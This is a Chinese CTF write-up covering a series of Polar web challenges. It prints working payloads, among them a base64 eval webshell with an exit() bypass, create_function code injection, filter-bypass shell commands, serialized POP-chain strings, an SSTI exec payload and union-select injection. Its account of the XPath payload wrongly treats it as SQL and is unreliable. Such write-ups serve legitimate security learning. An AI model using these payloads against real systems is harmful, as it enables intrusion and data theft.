到底给不给flag呢
进入题目看见源码

这里有变量覆盖漏洞,直接漏洞利用
这里有个条件,flag的传参get和post不能都不传参,不热就会退出
这里的get的变量覆盖就比如?b=a
那么就会变成:$B=$a
利用这个变量漏洞,一开始我传的?flag=a&a=flag但是这个顺序是错的,foreach循环按照传参先后顺序来,也就是说第一遍时变成了$flag=$a,而且这里$a是空的,相当于这里的flag变成null了,然后第二次就更变了
正确的是?a=flag&flag=a
一开始把flag的原始值存给a才是对的,然后再还回来

写shell
进入题目看了下,上网搜了一下这里有一个死亡绕过
因为这里默认前面就被拼接了一个<?php exit()导致后面的脚本无法运行,那我们就需要想办法让这个exit()生效
这里想到的就是base64解码使用base64解码将<?php exit();?>中的非base64编码字符去掉这样<?php exit();?>就变成了phpexit,并不是php脚本文件格式,无法被识别执行
利用base64解码的容错性,将<?php exit();?>中的<>?;()和空格都当做不可识别字符忽略,此时base64函数只会对phpexit进行解码
编码过后这里的特殊符号都会失效,我们就实现了绕过,但是我们任然需要写入马
这里的问题是:base64解码是需要4字节对齐的,没有被考虑
phpexit被解码的时候,因为是7个字符,所以借用了一句话木马编码的第一个字符。
木马编码被破坏,自然无法正确解码。解决方案很简单,在编码后的一句话马前加上一个无用字符借给phpexit即可
那么我们的payload还得有一个无用的字符放在开头拿来给编码用

?filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg== (`=@eval($_POST[1]);?>)

然后进蚁剑拿到flag
注入
点一下发现id的值变了,也就是说这里的注入点是id

然后就没有什么头绪了,后面看了下网上的payload学到了一种新的方法
这道题的payload是**?id=’]|//*|//*[‘**
输入’]|//|//[‘可拆分为’]、|、//*、/*等关键片段,每个片段在注入中承担不同功能:
(1) ‘]:闭合引号,破坏语句结构
假设原始SQL语句为:
1 | SELECT * FROM users WHERE username = '用户输入' AND password = 'xxx' |
当用户输入包含’]时,拼接后的语句变为:
1 | SELECT * FROM users WHERE username = '' ]|//*|//*[' AND password = 'xxx' |
这里的’]会闭合前面的单引号(’),导致WHERE子句的条件变为username = ‘’(空字符串),后续的]成为未闭合的符号,破坏语句的语法结构。
(2) |:逻辑或/按位或运算符(视数据库而定)
在部分数据库(如SQL Server)中,|是按位或运算符;但在注入场景中,可能被利用为逻辑或(OR)。例如,若数据库将|解析为逻辑或,则拼接后的语句可能变为:
1 | SELECT * FROM users WHERE username = '' OR 1=1 /* ... |
此时OR 1=1构造恒真条件,使查询返回所有用户(绕过密码验证)。
(3) //与/:注释符,忽略后续代码
/*是SQL的块注释符(从/到/之间的内容被忽略),//是行注释符(部分数据库如MySQL支持)。输入中的//*和/*可能组合成注释,例如:
1 | SELECT * FROM users WHERE username = '' ]| 1=1 /* ... |
注释符会忽略/*之后的所有内容(如原语句的AND password = ‘xxx’),使数据库仅执行SELECT * FROM users WHERE username = ‘’ ]| 1=1。

某个函数的复仇
进题看源码

这里的第一个正则:
^就是开头的意思,a-z自然就是字母,*的意思就是前面东西可以出现任意次数,0次1次多次等,然后就是$,一个类似于^的东西,但是他的意思是结尾,i就是忽略大小写
s的意思就是可以让点去匹配换行符,但是这里是没有点的,在这里是没有什么实际作用的,但是在一些特定的情况下是会有的
场景:过滤 <script>
1 | $input = $_POST['data']; |
攻击者输入:
1 | <script> |
❌ 没有 s 的结果:
1 | <script>.*</script> |
👉 .* 在 <script> 后面就停了
👉 整个正则失败
👉 绕过成功
✅ 加上 s:
1 | preg_match('/<script>.*<\/script>/s', $input); |
现在:
.能匹配换行.*能把中间所有内容吃完
👉 攻击被拦住
然后就是D,简单理解为这个是用来防止你为了通过换行这条路去绕过的
正则看了这个题就很简单了,只不过还是差经验,面对这种第一个参数是空的情况第一下想到命令执行那一块去了,但是这里要想到的应该是用creat_function这个函数
- 它有两个参数第一个参数用作参数列表,意思是这个创建的匿名函数里面有哪些参数
- 第二个就是指令
那么这里大概知道了传creat_function之后,关于要给root的传参还需要仔细地去构造
正常来说我们传参了creat_function过后那么后台就会生成一个类似于这样的代码:
function () {
$root;
}
并且creat_func这个函数只是创建函数而不是调用函数,也就是说我们还要想办法去执行代码,那么我们这里就可以去主动闭合掉function的{从而实现逃逸,然后再用/*去注释掉后面多的部分
?root=;}system(‘more /f*’);/星号
cat被ban了就more嘛,f后面跟一个通配符;

XXe
这里要用到的是一个之前做题不是很常用到的知识,xxe
XXE:全称为XML Enternal Entity Injection,中文名称:XML外部实体注入。
XXE漏洞原理
漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。
Content-type:text/xml application/xml
XML
简单了解XML:
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息
XML 允许创作者定义自己的标签和自己的文档结构语法:
- XML元素都必须有关闭标签。
- XML 标签对大小写敏感。
- XML 必须正确地嵌套。
- XML 文档必须有根元素。
- XML 的属性值须加引号。
结构:
- XML 文档声明,在文档的第一行
- XML 文档类型定义,即DTD,XXE 漏洞所在的地方
- XML 文档元素
xxe文件读取
1 | <?xml version = "1.0" encoding="utf-8"?> |
换成要读取的文件就可以了
这里题目名称就叫xxe,然后还提示我们flag的位置

找到了flag但是是个假的
然后用dirsearch扫了一下发现了有个dom.php

这个警告信息表明在 /var/www/html/dom.php 文件的第 5 行, DOMDocument::loadXML() 方法接收到了一个空字符串作为输入。 DOMDocument::loadXML() 方法用于加载 XML 数据,如果传入的字符串为空,就会触发这个警告
这句话的意思是:
你的
dom.php文件第 5 行,想让 PHP 解析一段 XML 内容,但你给它传的 “XML 内容” 是空的(啥都没有),PHP 没法解析空内容,所以弹出这个警告,并且 XML 解析的逻辑会失败(比如 XXE 漏洞利用不了、XFA 解析失败)。
所以我们就在这里使用xxe

解码拿到flag
反序列化
进题看见源码

正常写了pop链之后ls一下没发现flag,这里就要用find命令来找一下
星号flag星号意思就是包含任意只要带有flag的目录,但是这里的双引号要转义,如果不转义会粗问题,php会把最先遇见的两个双引号闭合,那么这里命令就失效了



blackmagic
进入题目点进magic.php然后没看见什么东西,打开源码看见了这一串

这里相当于会对flag的原始内容进行一些过滤,从trim哪里就能知道黑名单是strCharlist,里面有\r()\n\0\x0b
分别是回车,换行,空字符,垂直制表符,这里直接写一个脚本跑出过滤之后的strcontent就可以了,然后传给strTmp


再来ping一波啊
这里一开始让你传,试了下一些常规的被屏蔽了,然后这里用的变量拼接绕过
;a=ind;b=ex;ta\c$IFS$9$a$b.php

代码审计1(php原生类)
进来一看没有什么头绪,了解了一下这里要用php原生类
看的资料是csdn上的https://blog.csdn.net/qq_44640313/article/details/134310900
PHP原生类就是在标准PHP库中已经封装好的类,而在其中,有些类具有一些功能,例如文件读取、目录遍历等,这就给了我们可乘之机,我们只需要实例化这些类,就可以实现文件读取这种敏感操作。
一些奇怪的题,比如没有给出反序列化的类,这个时候可能就需要用到PHP原生类了
这个题就是典型的要利用php原生类来做,看见new那里就想到了要利用类来做,可是这里没给你其他的类的内容,那这里就只能用php原生类来做了
这里要利用的是Splfileobject类,可以用于对文件内容的遍历、查找、操作等
该类的构造方法可以构造一个新的文件对象用于后续的读取。其大致原理可简单解释一下,当类中__tostring魔术方法被触发时,如果类中内容为存在文件名,那么它会对此文件名进行内容获取。但是需要注意的是这样直接读取文件只会读取一行数据
所以这里吧sys赋值成Splfileobject然后这里已经包含了flag了把xsx赋值一个伪协议就可以了
](/images/ctf/polar%E4%B8%AD%E7%AD%89/image-20260129220021548.png)
当用文件目录遍历到了敏感文件时,可以用SplFileObject类,同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行)
除此之外其实SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容。
例如:SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag
你的马呢
进入题目让我们传文件,php有关的后缀都ban了,这里传图片是可以的
但是这里又会提示你相传马不可能,这里对传的内容也有过滤,那么这里就把php换成=
但是我正常按流程来还是搞了很久;
后面看了下wp发现这里是用的双后缀绕过,因为这里我们传一个1.png他会显示png恭喜你,那这里会不会是严格检查末尾但是对前面检查不严呢
就改为了1.php.png,程序会检查你最后的后缀,符合了让你通过,然后apache看见你的php标签就会当做代码来执行
Apache 是怎么“看文件”的?(非常关键)
Apache 处理文件时,有两套完全不同的逻辑:
- 应用层代码(PHP)
- 只看到:
xxx.jpg - 只做字符串判断
- 只看到:
- Apache 解析器
- 看的是:最后一个“可解析后缀”
- 或者根据
AddType / AddHandler配置决定
📌 这两者经常不一致,漏洞就从这里诞生
虽然文件内容中包含 PHP 一句话木马,但由于上传文件以
.png结尾,服务器将其作为静态图片资源处理,不会交由 PHP 解析执行,因此无法触发代码执行。
所以传了之后正常步骤就拿到flag了
ezphp
进题看见这样的提示,我就拿dirsearch扫了一下

访问了robots.txt

然后访问了一下flie

看见源码,这里要用get方法给filename传参然后文件包含,这里有一个点是这里要稍微记一下路径因为这里有个文件包含而我们传的马显然是不在我们当前的这个目录的

我们又区访问uploads,我就传的上面那道题一样的马
然后这里要记着,因为我们我们上面的file是index of file而这里拼一下那么最终的路劲就应该是index of /uploadsd/image/6.php.png
那么我就先../到index区然后再跟上/uploadsd/image/6.php.png

最后蚁剑连的就是网址加上剑连接
1 | /file/file.php?filename=../uploads/images/6.php.png |
这里找flag找老半天,最后在home最里面找到
phpurl
文件里面解码了就是index.phps

这里会在浏览器本身就会解码的基础上再加一次解码,而无论怎么说最后都是字符串类型的,所以这里弱比较左右两边都是字符串类型所以这里就不会涉及到类型自动转换了
这里直接xxs编两次码就可以了

随机值(取址赋值)
进入题目看题目

这里有一个很关键的地方在于会赋值一个随机值给polar2但是任然要求polar1和他全等,那么这里要用的就是一个叫做__取址赋值__的东西了
$a=$b
普通赋值:
-直接创建一个新的地址把b的值放进去也就是说他们的值只是暂时相等,一旦b发生变化那么这里的a是做不到即使变化的
取址赋值$a=&$b
-直接把b的地址给a,那么一旦b发生了变化那么a也跟着一起变化
知道了这个方法之后这个题就简单了,下面是poc
但是这里还有几个小点是我们不能直接$this放在类的顶层里,我们需要把它放在一个函数或者方法里面才可以
然后这里还有个点在于由于几个变量是私有属性和保护熟悉那么我们直接echo的话是看不见的且无法复制到,那么我们就需要url编码一次


file
进题提示我们拿dirsearch扫一下,扫到了如下

然后就访问upload.php上传了一个马,但是这里上传了就没了,想到了还有个·uoloaded还没看

然后访问一下uploaded得到了这个界面

把路径保存好去蚁剑就可以了


search
就一道正常的sql注入的题,但是这里把空格过滤了所以用/**/代替,加上一些大小写混写
1’/*/Union/*/Select/*/1,group_concat(table_name),3,4,5/*/From/*/information_schema.tables/*/Where/**/table_schema=database()#
1 | 1'/**/Union/**/select/**/1,group_concat(Flag),3,4,5/**/From/**/Flag# |

play game
进入题目看见源码

这里的关键点在于file_get_contents()文件读取,也就是说这里会读取gameFile的值,那么我们把它的值设为/flag;
然后我们再看这里唯一会用到opengame这个函数的是tostring,而要tostring那么就得要echo,而echo呢会连续进行调用
那我们把user赋值new User,因为只有那个类有name,然后我们再把name赋值new playgame,实现调用playgame里面的tostring,这样我们就实现了文件的读取
poc:
user = **new** **User**(); $a->user->name = **new** **PlayGame**(); **echo** **serialize**($a); 这里不准有下划线,那中括号就可以了 ?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:5:"/flag # csdn 进题提示我们flag在flag.txt里面,感觉这里考的是文件包含的东西 index.php?xxs=https://blog.csdn.net/ 那这里应该就是给xxs传参了,然后我一开始用的伪协议失败了 然后这里直接用基础的的file伪协议就可以了 File///flag.txt # dragon 抓包直接cookie里面就是 上网还看了种方法是这里用xss,然后这里的script是被ban了的,大小写双写都不行,这里用的是img来做1 | <?xml version = "1.0" encoding="utf-8"?> |

赌王

进题让我们摇一样的才可以给提示,摇了几次都不行,那这里直接爆破了
爆破成功后让我们去ed3d2c21991e3bf5e069713af9fa6ca

这里输什么也不行,看来常规的方法是不行的,但是这里是输入框我就想了下xss

然后就是把alert里面的内容换成confirm()就可以了,要我们再去一个目录e744f91c29ec99f0e662c9177946c627

然后随便输了几个不行,打开f12

解码一下得到提示我们这是个地址,然后想到了之前的xff
抓包之后加个X-Forwarded-For:1.1.1.1就可以了
coke的登录
进入题目

点开提示

然后在首页f12看了下有一个cookies.php

登录拿到flag
bllbl rce
进去了有一个输入框,输了下怎么都是no
拿dirsearch扫到了个admin/admin.php
进去下载

这里必须要求有bllbl,那我们的payload把命令拼在后面就可以了

真假rce

就一道基础题
ca\t /f\lag

nukaka_ser2
进题看见题目

有了个大概的想法,这里VulnerableClass类里面desstrcut有一个echo,这个echo可以触发tostring(),我们在这里只要把debugmode的值改成true就可以实现,再把logger设成flagreader执行读取flag
官方的wp是

这里其实在这种情况下我觉得有点麻烦了
这里用了很多php内置函数去修改值,因为debugmode的属性问题这里我们直接类外面改是改不了的,这里就用的内置函数去改
这里用到的是__php反射机制__,核心作用是:让我们的代码能 “透视”、“操作” 任意类 / 对象的「所有内部结构」—— 包括普通代码根本碰不到的私有属性(private)、受保护属性(protected)、私有方法(private function)。
可以把反射机制理解为:PHP 官方给的 「类的解剖刀 / 透视镜」,普通代码只能看到类的 “表面(公有成员)”,反射能直接看到类的 “五脏六腑(所有成员)”,还能动手修改。
所有对类 / 对象的透视、操作,都要先创建ReflectionClass的实例(对象)
然后使用getproperty专门用来「从绑定的类 / 对象中,根据属性名获取对应属性的「属性对象」」的工具
这里的getproperty并不是我一开始想的直接得到值
getProperty():负责 “找属性”—— 根据属性名定位到目标属性,返回这个属性的操作手柄(ReflectionProperty 对象),这是所有后续操作的**前提 **;setAccessible():负责 “解限制”—— 通过操作手柄,临时解除属性的访问权限;getValue():负责 “读值”—— 通过操作手柄,读取属性的当前值;setValue():负责 “改值”—— 通过操作手柄,修改属性的当前值。
也就是说其实这里getproperty就是打开门的工具
setaccessible相当暂时改变这个变量的访问属性,最后用setvalue来赋值
但这里我们有整段代码其实我们可以直接在类里面改的,反射法倒是在任何情况都可以用,只不过这种情况下可能就比较麻烦了
debugMode) { echo $this->logger; // 触发读flag } } } class FlagReader { public function __toString() { return file_get_contents('/flag.txt'); } } // 第三步:初始化对象,给公有属性$logger赋值 $payload = new VulnerableClass(); $payload->logger = new FlagReader(); // 这一步和之前一致 // 第四步:直接序列化,得到最终Payload $final_payload = serialize($payload); echo $final_payload; // 输出的序列化字符串,和反射法得到的完全一样 ?>你也玩铲吗
进入题目注册一下

注册之后提示我们身份不够,f12里面有一句话

这里应该是要base64编码
扫一下有个login_admin.html

这里用到的是伪造cookie,先把user::adminbase64编码然后给auth

polarcms

进来长这样
然后联系管理员

登录,这里要求特殊字符
有个文件上传搞了半天都不行,后面知道了这里要用ssti
去到编辑,这里用到的是java
${exec(‘ls /‘)

${exec(‘cat /flag’)

Squirtle的论坛
进来长这样
一下没啥头绪,拿dirsearch扫一下,有个admin.php,进不去
但是那个温馨提示说master只能是squirtle,也许是cookie伪造
试了下果然是

然后传马就是了
flag{PolarD&N_YYDS}
黑狗子的舔狗日记
进去之后是个朋友圈,不知道干啥,然后看见url那里有个?page,感觉这里可以用伪协议
?page=php://filter/convert.base64-encode/resource=index.php

这里我们可以看见源码了
flag那里解码一下:

但是没有名字
试试拿了dirsearch扫,扫到了个www.zip,里面都是密码,显然这里要爆破
然后登录,得到名字是柳茹烟
polar快递
进去是这样

点开那个备忘录里面有账号密码polar 123123
进去了但是没啥东西,之前备忘录里面还有管理员账户等,这里想登管理员账户,但是改用户名这些都没用
抓包才看见还有个id,我一开始改的admin不行,改成root可以
狗黑子的跳转
进题目那个按键一直按不到,看源码这里要一个post请求,构造一个就可以了,但是这里也有直接源码那里给改了,直接禁用javascript
进到一个文件上传的地方,我还是直接拿6.php.png直接传上去了但是连不上
但是此时url有参数,同样想办法伪协议读源码
?gou=php://filter/convert.base64-encode/resource=ghzgouheizi.php
得到源码解码之后有这么一段
$originalName = $file[‘name’];
base64Name=base64encode(originalName);
md5Name=md5(base64Name);
$filename = $md5Name . ‘.’ . $ext;
也就是说我们上传的文件这里会先被base64编码然后md5加密
连接蚁剑就可以了

aa
进题没东西,dirsearch扫一下有个i.php

这里的flag是被拼接的,第一个是base64编码了,然后取整,其实我这里直接复制粘贴再加个echo flag就有了,总之就是按照他的来
polar shop
进入题目发现我们只有一个积分

抓包的时候发现是可以的改的

把所有都兑换了

这个一眼爆破应该还有一个登录页面,dirsearch扫一下有个admin.php
刚才那根文本得出这里应该名字就叫Squirtle,然后剩下的密码爆破就是了
密码是5qu1rtle

还是看不见这里卡这了,后面知道这里还是和cookie有关
伪造cookie把user的值改为Squirtle
flag{d104c607a29d48eb99f2eece12281a7f}
金币大挑战
点进去之后是一个

这个最多按到20,这个应该是前端的题,看一下源码
果然

直接改了然后到下一关

最下面有个文件
解压还要密码提示我们是纯数字,卡这了
后面知道这里得要工具,下了个zipperello
密码是1170
进去是一个Squirtle1170

又卡了,看了下wp这里有个马,在upload目录下,叫Squirtle.php
密码就是我们刚才得到的文本,坑

